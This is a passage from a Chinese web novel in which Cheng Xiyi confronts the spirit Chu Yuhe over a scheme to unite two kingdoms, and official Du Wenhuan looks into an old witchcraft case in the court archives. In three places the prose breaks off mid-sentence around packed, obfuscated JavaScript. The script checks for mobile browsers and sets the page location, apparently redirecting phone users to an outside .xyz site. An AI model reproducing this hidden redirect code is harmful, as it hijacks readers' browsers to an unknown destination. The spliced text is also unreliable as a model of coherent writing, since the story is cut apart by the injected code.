程希夷气极反笑,“不,你不姓程,姓楚。楚玉和,利用了这么多人,把我陆家幸存的这些人都算计在内,到底要做什么?莫非为了替十三年前楚国公一家复仇?这就说得通了。” 楚玉和打断她,“若我只是为了复仇,大可不必如此大费周章。我如今要取皇帝的性命易如反掌,唐府的人也不过是蝼蚁之流,但我要的不仅如此。” “你要什么?”程希夷觉得自己愈发不懂眼前的这个人,楚玉和揭露她实则是陆府的陆卿云,不就是为了利用她向皇帝复仇么? 楚玉和不应声,却朝她走近几步,吓得她赶快后退,仍旧被那只冰冷的手抚上脸颊。 “活着真好。”没有一丝温度的手带着死亡的气息,像一把锋利寒冷的刀子轻轻拂过独属于活人的红润的肌肤,而后在下颌处停下。 “我要的是这两个国家。”楚玉和轻轻吐出几个字,让面前的人震惊到噤声,而后仍不满足,继续说,“此事我做不到,但你能超脱生与死,证明你的确就是预言中那个一统两国的人。希夷,加入我的计划,做这个天下棋局的棋手,好么?” 趁她离得近,程希夷眯起眼睛,眼里闪动着危险的光芒,一把抓住她的手,而后心念密咒,手中掐诀,楚玉和却仿佛预料到一般,抬手打断了她。 “你是杀不了我的。”楚玉和笑她天真,“我自有定数,而且我与天道做了交易,所以你察觉不到我非人,也无法伤害到我。” “我不明白。”程希夷茫然地看着她,“从一开始,我就不明白你的目的。等我知晓自己的身世,我以为我明白你到底想做什么,而现在,你说你要这两个国家,我又不明白了。” 楚玉和耐心地询问她:“就你之前所见,希夷,你认为在这个风云变幻的乱世,你真的能够找到一个宁静的世外桃源吗?” 程希夷沉默了,如今天末国和维咸国之间的战争还只是边境间的冲突,但两国之间的矛盾已经掩盖不住,随时会将战火蔓延。 而作为一个普通百姓,逃也只能逃得了一时。 即使真的找到了一个深山隐居,也许就如此刻楚玉和找到她一样,既然他们认定她就是预言中的那个人,那么自己就不会有平静的生活。 楚玉和的每一次出现,都代表自己已经通过她的考核,而且不得不迈入下一盘棋局。 但她不想只当一颗被人摆布的棋子或是傀儡棋手,她也不会再逃了。 “我并不想参与这些冲突。”程希夷下定决心,“但我知道我是无法躲开命运的,所以我答应参与你的计划,不过我有一个条件。” “什么条件?” “我要剩下半本参破时空法则的宝卷。”程希夷直视楚玉和,她的眼里不再闪动着天真的光芒,有的只是审视与权衡,“那东西应该在你们楚氏一族的手里罢。既然你认识楚国公一家,就应该知道它的下落。” 楚玉和沉吟了一会,像是在思考这东西到底该不该给,只一会她点点头,“我的确知道那半本宝卷的下落,它在我妹妹手中,给你并不难。只是,这并非我们可以使用的东西。希夷,即使是你,不也曾经因为它而使魂魄更为破碎么?” “只有半本宝卷,自然容易走火入魔。”宝卷的危险性,程希夷自然懂得,“这东西属于仙山,不应存在于这里,而我也与仙山有千丝万缕的联系,或许只有我才能参悟它,不然,也只有我能销毁它。” “好。”既然她这么说,楚玉和自然没有拒绝的理由。 她答应得如此干脆,程希夷倒是一时没了主意,她试探着问:“你不怕我有异心,将宝卷收入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777373|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 囊中后就反悔?” “你是个乖孩子。”楚玉和轻轻笑了一声,“而且这东西原本就不属于我们,也只是物归原主罢了。” 闻言,程希夷的眼神黯淡了下来,她突然觉得,方才那些尖刺的防备和审视对面前这人竟没处可用,就像一个自认为长大了的孩子拿起武器反抗年长的指引者,却发现她根本没把自己当作敌人。 “楚玉和,有件事我想问你很久了。” “你说。”楚玉和的声音一如既往地平静。 尽管知道楚玉和的意思并不是问出后她一定会回答,但程希夷还是问出了一直以来的疑惑:“从前我怀疑过,开始我以为你只是把我当成一枚棋子,后来却发现你更像长辈对晚辈一样对我。既然我是陆卿云,陆家从前便跟楚国公一家交好,你难道是楚国公另一个未被世人知晓的女儿?” “哈哈哈,你居然是这么想的。”楚玉和像听到什么笑话一样,笑出了声,“不,在生前,我的存在是为世人所知的。” “原来如此。”程希夷点点头,她已经不需要楚玉和再说什么了,因为她已经知道楚玉和是谁了。 跟楚玉和这种不会直接抛出答案的人说话,直接要一个确切的答案是不可能的,那么给出自己的猜测,看她否定哪一部分,那么就能推断出正确答案。 “你没有否认你是楚国公的女儿,而他只有一子一女。”昏暗的暖阁内,程希夷的眼睛却异常明亮,面前的人的眼睛上蒙了一层白绸子,证明她早已看不见这人世间的事物,无论好与坏,美与丑,都只能凭借以往对这个世界的印象去行动。 似乎是听出她语气中的认真,楚玉和收起笑容,脸微微侧向她说话的那个方向。 “楚国公的女儿嫁给了唐府二老爷唐越,在逃过十三年前皇帝对楚国公一家的审判后,如今应当还没有死,只是行迹被人刻意隐瞒了。而十三年的巫术案里,楚国公后代中死去的唯有一人,就是他的儿子。” 楚玉和浑身一抖,她虚幻的身影仿佛一片薄纱被风吹得荡了一下,又很快恢复了正常。 这一点微小的细节却被程希夷捕捉到了,她微微叹了口气,“你如此狼狈,沦落至此,模样看起来不过二十多岁,语气却像个年长我许多的人,对朝廷,对皇帝,对外敌又有这么深的了解,不在朝廷里做过官是不可能了解得如此深刻的。楚玉和,你就是楚国公之子,对吗?”。 楚玉和没有答话,依旧沉默着。 程希夷从这尴尬的沉默中捕捉到了她的默认,“我不知你为何当年要女扮男装做官,不过这件事肯定被皇帝发现了,而且也是促成巫术案的原因之一,不然维咸国科举考试为何明令禁止女扮男装参加科考。这一条是从你开始的罢?” “我果然没有看错你,希夷。”被揭破了,楚玉和也不恼怒,她颇为欣赏地认同了上述推断,“的确是这样。” 她的声音继续在暖阁内悠悠回转,“那么,就算你知道这些,又当如何呢?” 75. 旧案 刑部,这里掌管国家律令刑法,偶尔受诏参与一些重大案件的审理,故而有些案卷保存在此,巫术案就是其中之一。 刑部郎中在看到皇帝谕旨后,便领杜文焕来到案牍库,从一隐秘的夹层里取出一叠积了一层灰尘的案卷,陈旧得发黄的纸张上用浓黑的墨水划了几个大字——巫术案。 “这便是刑部所有的全部关于巫术案的卷宗了。”刑部郎中将案卷交给杜文焕,便掩门出去了,独留下他一人在案牍库里。 杜文焕将案卷展开,上头的灰尘瞬间飘荡在空气中,引得他呛了几声。 待拂去数年累积下来的灰尘后,这桩密案也渐渐浮现出它本来的面目。 首先映入眼帘的,就是这个案子的关键人物,楚国公之子——楚玉和。 崇福十三年,南方旱灾,时任金谷州刺史楚玉和调任回京,勾结巫师,迷惑君心,假借祭祀祈雨之由调用国库,致使国库空虚,灾民无所依仗,贻害无穷。 任金谷州下诸县的三小吏呈上密信,揭露楚玉和勾结巫师之事实。 后又有人告密,言楚玉和明面为楚国公之子,实际则是女儿身,犯了欺君之罪。 帝大怒,立责罚楚玉和,剥去其正三品官员服制,将其下狱,后查明楚国公与其妻牵扯其中,唯一外嫁女儿不知情。 帝责令刑部与大理寺严加审问,方才知道巫师在宫中被奉为座上宾,官吏文士亦多与来往,所费不亚于招待官吏大员。 在民间,一些人假充巫师,作奸犯科者众多,百姓怨声载道,帝下禁巫令,大肆捕杀巫师,并禁止方士及僧侣办法事。 而楚玉和在狱中因不堪刑罚,自觉身愧于陛下圣恩,用刑具自尽身亡。帝念其已死,不继续追究,留她全尸。 楚国公楚成从天末国一弹丸之地的小兵升到侯爵之位,仍不满足,深负圣恩。为警醒世人,帝将其枭首,头颅挂于城墙之上,示众三年。 楚玉和之母明氏亦有牵连,被推入冰河而死。 楚国公一家死后,巫术案暂时告一段落,只是时有诬蔑他人为巫师,借此铲除异己。 凡有传言其为巫师的,不问原由,一律处死,民众终日惶恐惊惧,民间乱象比巫术案之前尤甚。 三年后,有御史上书弹劾吏部侍郎陆知与楚国公一家有牵扯,帝命兵士将其府围住,时值黑夜,天干物燥,不幸失火,火势不可阻挡,陆知府中连同仆从共四十余口全被烧死。 后大理寺勘察时发现,唯独失踪陆府的陆知及其小女儿陆卿云。 从火灾中还寻到了一具无名尸体,根据牙齿判断,死者为男性,年纪在四十岁左右,体格比陆知要稍宽,身上所穿的衣物应当是商人所穿的丝绸一类的织物。 此人可能为陆知的好友,后京兆府贴出告示,叫人认尸。 ... 读到后一段时,杜文焕的眼神渐渐沉了下来,因为他没想到,此案居然还与他有一些联系: 杜伊之妻陈氏上报官府,说此人为其表兄程节,请求领回尸体安葬。前不久,其表兄携妻与子来京城看望她,后下榻于西街一处客栈。 府尹问:为何程节会在陆府,他与陆知又有什么关系。 陈氏答:程节年轻时孤身来京城做生意受了陆知恩惠,从此二人交好,并约为儿女亲家,其独子程景星之名甚至是根据陆知独女之名而改,取“景星卿云”的合配祥瑞之意。程节来京看望她之后,很可能又去了陆府,并不幸被这场大火波及。 至此,陆府出现的无名男尸的身份业已确定,为南方大商贾程节。 陈氏还请求寻其表兄和遗孀和独子,然官府只寻到程节的遗孀,其独子下落不明。 程节的遗孀在听闻丈夫身死及独子失踪后,托杜家人寻找,自己先扶灵柩回了南方,不久后抑郁而终。 读到此处,杜文焕掩卷沉思,原来自己的生母还有一位表兄姓程。 对这位舅舅,他并没有印象,杜伊也几乎不曾提起。 其实也提起过,说先母给他留下的一笔遗产中,大部分是舅舅的,因舅舅一家遭难,家乡又没有别的亲人,故而把钱留给了他,只待成家立业后便可拿去。 杜伊说得简单,当时他也未曾深思,没想到舅舅家中竟是这样的情况。 现在想来,这一笔钱本应该用于寻找舅舅留下的独子程景星的,然而杜伊这么多年只把这笔钱当作自己的,杜夫人也为了这笔钱暗中想谋害他的性命。 而他之前也对程希夷说家中待成亲之后,舅舅的遗产便是他的,尽管如今他并不打算成亲,但自己对那笔钱的归属也太过理所应当了。 这钱本不该是他的,而是那位素未谋面的表弟的。 思及此处,杜文焕不禁打开案卷,瞥见那一行刺目的字——约为儿女亲家,其独子程景星之名甚至是根据陆知独女之名而改,取“景星卿云”的合配祥瑞之意。 指腹为婚,青梅竹马啊。 他知道程希夷之名是其师尊替她取的,却不知为何不恢复本姓而姓程。 不会这么巧合,莫非她早就知道程景星的存在,改姓程也是因为程景星一家因陆家而造祸? 那为何她不同他说呢? 窗外的光在杜文焕的眼下打下一层阴影,数日来的疲惫瞬间涌了上来,身上的力气仿佛被那一行字抽离,他忽然不想往下读,但他只是揉了揉眉心,告诫自己暂时不要困于私情,若感到困惑,到时候问她便是。 他继续往下读: 陆府一家甚是凄惨,百姓多同情怜悯,对严苛的禁巫风气多有怨言。 大理寺卿高琦上书,言查明陆府通巫一事为诬蔑诽谤,恳请陛下还其清白并寻失踪的陆知及陆卿云之踪迹。 帝不纳,众臣上书请求,民间也多传言,故帝赦免陆知之罪,并将陆知在乡下的弟弟陆利接到京城,赐他七品世袭官,其余谏言不予采纳。 因陆府失火一事,恐失去民心,故禁巫令中言凡是举报巫师者,需有切实证据,凡是诬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794390|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诽谤,一律以同罪论处。 自此,巫术案落下帷幕。 案卷尾页的右下角有记录者的署名——刑部主事唐越。 杜文焕合上案卷,将其放入袖笼中,走出了刑部大门,去往秘书省。 巫术案前因后果虽已经明晰,但其中仍旧有诸多疑点和矛盾之处。 本国一二品并无实权,一般为封赏赐爵,楚玉和作为三品大员,已经是官吏最高品阶,为何一封不知真假的密信就能证明她与巫师勾结。 她是女儿身这件事被隐藏了多年,为何一朝随着密信同时被揭发,是谁将此事泄露出去的。 而且,皇帝对楚国公一家的处罚如此严重,更像是泄愤和忌惮,莫非背后还另有隐情? 当年记录此案的人是唐越,他当时应当已经娶了楚国公之女,皇帝为何不避讳他? 皇帝在此案上仍旧如此信任唐越,只有一个原因,那就是唐越也是促成此案的推手。 要想知道当年的内幕,恐怕需要一些史料,他记得秘书省有一位快要致仕的老史官,或许此人会知道。 秘书省,藏书阁。 年迈的朱老太史令正在整理史料,见门外进来一人,正要说此处不许外人进入,却待看清来人面貌后收起了这番话。 “文焕,你为何有空来此了?!”朱老太史令忙放下手中的书卷,迎了上去。 杜文焕先一步扶住了他,行了个礼,“朱老,您近日可曾安好?” 朱老太史令是个面容慈祥,体态稍有些胖的老人家,闻言,爽朗地笑了几声,说:“虽是老了,但若是还走得动,我这把老骨头也还是想待在这里跟故旧纸堆打交道。” “您老还是如此精神矍铄,晚辈自愧不如。”杜文焕惭愧道。 “哎,文焕你比起我这个老头子来有过之而无不及啊。”朱老太史令一边携杜文焕坐下,一边说,“当初你来秘书省做校书郎,本是前途无量,有望升翰林院待诏的,不想你竟然主动请求外任,我还深感惋惜,不想你如今反倒成了翰林院学士,还被赐了三品章服,比我老头子想象的好多咯。我就说嘛,就高琦那个爱护门生的劲,怎么会同意你外任,原来是留了后手。” 朱老太史令嘴上抱怨高琦,可脸上却不自觉浮现出怀念的神色,“这个老朋友一走,我在这偌大的皇城又没几个可说话的咯。” 杜文焕沉默了,他早已明白老师的苦心,外任做县官虽是苦了一些,但也恰恰磨练了他,才让他在查官员被杀案时不至于茫然无措。 “对了。”朱老太史令正色问,“文焕你百忙之中来找我,想必不是寻我叙旧的。有什么事需要我这个老头子帮忙么?” “是有一件事。”杜文焕说,“向您打听一个人。楚国公之子楚玉和,您知道吗?” “......” 在杜文焕的眼里,朱老太史令的神色慢慢从面带笑容变成了怀疑和惊讶。 他的语气变得严厉:“你打听这个做什么?” 76. 记载 杜文焕拿出皇帝给的谕旨,递给朱老太史令,“我方才去了刑部,巫术案我基本知晓了,这是陛下的意思。” 朱老太史令狐疑地结果谕旨,反复看了又看,终于信了他的话,“文焕,我竟不知你已经得到陛下如此的信任。但既然你去刑部看了案卷,为何又要来问我?” “刑部的案卷虽有前因后果,但并非全貌,隐瞒了一些事,而其中最关键的就是楚玉和。”杜文焕看着这位老师昔日的好友已经双鬓斑白,知道他仍旧心有顾虑,“若您不愿说,晚辈也不愿勉强,明哲保身也在情理之中。” 说罢,站起身来就要走,却被一只苍老的手拉住了。 “唉,唉!”朱老太史令重重叹息了几声,起身走向一处角落,“既然陛下信任你,你又是个倔强孩子,我也不好藏着掖着了,随我来罢。” 杜文焕见自己的计谋得逞,在心中笑了一下,紧锁的眉头也不由得舒展。 好不容易找到朱老太史令这么一个知情人,他可不会轻易放掉。 朱老太史令同老师是朋友,性格中那部分正义感自然是一样的,何况他也明白自己提出这个要求,皇帝也是默认的。 藏书阁收藏了许多史料,其中有一部分是本朝崇福皇帝在位期间记载的,也有崇福皇帝的父亲,也就是永熙皇帝在位期间的记载。 朱老太史令抽出一本卷轴交给杜文焕,“文焕,我知道你是想激我,让我拿出有关楚玉和的记载。” “......”杜文焕没想到自己的小心思在这位经历两朝的长者面前,这么容易就被看穿了。 他心里头尴尬又羞惭,忙低头拱手认错,“是晚辈心急,失礼了。” “哎,我既然这么说,就没有怪你的意思。”朱老太史令很大度地摆了摆手,表示自己并不怪他,“文焕,我也是快要入土的人了,除了儿孙,在这个凡尘世界里,我也没什么可留恋的了。但巫术案一直是压在我心里的大石头,本以为这个案子在十年前已经了结,没想到过了一代人,这些陈旧的恩怨还能掀起风浪。或许,它从来就没有结束过,只是在暗处活动罢了。” 说完这番话的朱老太史令仿佛苍老了十岁,递卷轴的手微微颤颤的,走路几乎要一头栽倒。 杜文焕忙扶住他,将他搀到座椅上,又急忙倒了一杯茶水送到他手上。 喝完温热的茶水,朱老太史令才缓过一口气,他闭目休息了一会,再睁眼时,浑浊的眼里又重新有了光彩。 见杜文焕仍在一旁捧着茶水安静等待,不做多余的打搅,朱老太史令不由得感叹:“文焕,你是个体贴的好孩子。你已经到了弱冠之年,以你的才貌和作为,京城之中应有许多适龄女子仰慕,为何还未曾成亲呢?听说之前陛下要为你赐婚,你推脱不愿。” “......”杜文焕只得用之前用过的借口敷衍,“维咸国内忧外患,晚辈立志报国,尚且还没有成家的念头。” 朱老太史令却一眼看出不对,“文焕,这话糊弄不了我。像你们这种年轻人的心思,有什么不好懂的呢,想必是有了意中人,但不能在一起,故而推脱罢?” 杜文焕沉默不语,朱老太史令的话语里没有任何指责的意味,只有长者的关心和理解,故而无论如何,他都无法开口说谎。 在朱老太史令殷切的目光中,他终于点了点头,“是,我心悦的人身份特殊,我与她目前无法在一起,也许等天下安定之后,我们才能抛开顾忌。” 朱老太史令却缓慢又坚定地摇了摇头,“从前有个跟你一样的年轻人,她也是和你一样的想法,当一个好官,让臣民过上好日子。为此,她主动请求去往南部巫风最盛行的地方。在那里,她政绩斐然,但因身份,她成不了家。不过,她同她的恩师说,自己有一人陪伴足矣。后来她的恩师才知道,那个人是她在巫师祭海时救下的一个少年,陪了她多年。只可惜最后她死了,那个少年也消失了。有时候事情来了,由不得人选择,所以说有些事还是及早做更好。” 尽管故事中的两人没有走到一起,但杜文焕并不认为自己也会这样,他忽略朱老太史令的意思,问:“你说的这个年轻人,是楚玉和吗?” 朱老太史令颔首,“是她。” 杜文焕试探着问:“这是私事,您知晓得如此清楚,莫非您同她的恩师有私交?还是说,您就是她的恩师?”不然为何知道她与恩师的对话,而且听语气,朱老太史令似乎也十分欣赏她。 “哈哈哈,不是我。”朱老太史令大笑几声,笑声冲淡了他脸上的忧伤,“但文焕,这个人与你确有千丝万缕的联系。” “我?”杜文焕不解,为何事情又扯到自己身上了。 “对,这个人就是你的恩师,高琦啊。” “!” “文焕,你还太年轻。”朱老太史令看着面前这个不过二十岁的年轻人,眼里闪过同情,“年轻到什么都不知道。你知道为什么皇帝如此看重你吗?一部分原因,是你是高琦的门生。上一个被皇帝重用的,就是楚玉和。皇帝此人,心思缜密,疑心病极重,妨碍他的,不论曾经有多大的贡献,一律斩杀。楚国公不就是这样吗?” “楚国公......与天末国有关是吗?”能引起皇帝如此忌惮的,想必只是楚国公的身份了。 “是啊,楚国公来自天末国。”朱老太史令指了指杜文焕手里的卷轴,“看一看罢,你会有收获的。” 杜文焕翻开最上面记载的部分: 楚玉和,生于永熙三十年,卒于崇福十三年,终年二十三岁。祖籍天末国,十岁随父入维咸国,父楚成蒙受圣恩,封为楚国公,世代袭爵。 玉和天资聪颖,少有大才,博学强识,过目不忘。性高雅清正,不愿承父爵,以科举入仕。崇福七年殿试夺魁,为一甲第一名,赐进士及第,时年十七岁……崇福十年,出为金谷州参军,当地巫风淫祀盛行,常用童男童女海祭,穷苦百姓苦不堪言。玉和肃清其风,抓捕巫师数十人,一时百姓无不称颂。后擢升为金谷州刺史,躬行政务,因地制宜,尤其重开矿、海贸,其下各县日渐富庶。 崇福十三年,帝急召回京城...... 后面的,都是巫术案的记载。 当年,楚玉和也不过二十三岁,皇帝却异乎寻常忌惮她,这背后一定有不能说出口的缘由。 杜文焕抬头看向朱老太史令,却在要开口时被阻止了,“文焕,你要知道有些话能说,有些话不能说。即使是秉笔直书的史官,在记录当朝时,也会受到掣肘。连司马子长著书后都要将书藏于家,待汉武帝逝世后此书才发行于世,又何况我呢?” 朱老太史令的意思就是他不愿对这段过往多提,也不愿意将记录好的史书交给他,以免引来杀身之祸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856216|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 杜文焕清楚他的顾虑,当今皇帝当年处死诸多巫师及官吏的情形想必足够让经历过的人心惊胆战了,所以他也不勉强,只是他还有最后一个最重要的问题。 “朱老,您知道楚国公与陆家有什么关系吗?” “哪个陆家?” “当今陆国舅爷的哥哥陆知一家。” 朱老太史令思索了一会,说:“陆知与楚国公一家关系确实不错,时至今日,巫术案牵扯到陆知一家实在是无妄之灾。” “您知道陆知的独生女陆卿云么?” “这个名字有点熟悉,你问她做什么?”朱老太史令没有正面回答他。 杜文焕没有立刻回答,而是先瞧了一眼他的神色,见他眼眸深邃,看不出任何情绪,方才说:“皇帝从不做无用的事,选择楚国公一家并非偶然,三年之后又因陆知一家掀起巫术案,绝不是巧合。晚辈查阅了在刑部的案卷,比起因为楚国公,陆知获罪还有一部分原因是他的女儿陆卿云。” 刑部的案卷中根本没怎么提到陆卿云,但事实证明她如此特殊,越是没有提到,越证明她需要被回避,她的身份是皇帝忌讳的存在。 他在赌朱老太史令知道多少。 “刑部的案卷中说了什么?”朱老太史令拿起一旁的茶壶,替自己和杜文焕斟了一杯茶。 杜文焕接过茶水,雾气模糊了他的语气,让人辨不清真假,“陆知似乎生了个不得了的女儿,听说她出生时云霞满天,有‘景星卿云’这等祥瑞之兆。当时的陛下最在乎这种兆头。” “呵。”朱老太史令嗤笑一声,喝了一口茶,不以为意地说,“这种吉兆在一个普通官吏的女儿身上也不见得是好事。” “您这是什么意思?” 朱老太史令用布满老茧的指腹擦了擦茶杯口,眼睛盯着茶杯中那立起来的茶叶,缓缓说:“曾经有人向陛下说了一个预言,将来有一天会有一个女子掀起两国战火,夺取陛下的皇位,这个人出生之时,就会有‘景星卿云’的吉兆。” “那么您认为陆卿云会是这个人吗?”杜文焕微抿了一口茶,装作无意问。 朱老太史令却不上套,一口将茶水饮尽,“陆卿云不是失踪了么,一个七岁的孩子,听说在逃到城外树林时被两个狱卒用匕首伤了,估计早就死了,什么祥瑞之兆,不过都是骗人的把戏。” 这些都没有写进刑部的案卷中,朱老太史令却知道得十分清楚,他一定还知道更多的内情。 “您怎么知道这些?” 朱老太史令摆摆手,表示自己不愿再回答他的疑问,“文焕,若是你的老师在,他会将一切都告诉你,可如今,我不得不明哲保身啊。” 他站起身,就要送客,临走前说了最后一句话:“其实陆卿云这个名字,还是楚玉和给她取的。到底谁是因为谁招来杀身之祸,都已经分不清了。” 随即一声门响,杜文焕被隔绝在厚重的木门之外。 今日的确已经问到了许多不得人知的秘密,朱老太史令将他赶出也是人之常情,恐怕下一次再来,就没这么好开口了。 杜文焕叹了口气,一甩袖子正欲离开,却发现袖子沉甸甸的,一看,不知什么时候,朱老太史令将一卷写满字迹的黄纸塞到了他的衣袖中。 他心里了然,朝门内深深作揖,道一声“晚辈拜谢”,随即离开了这里。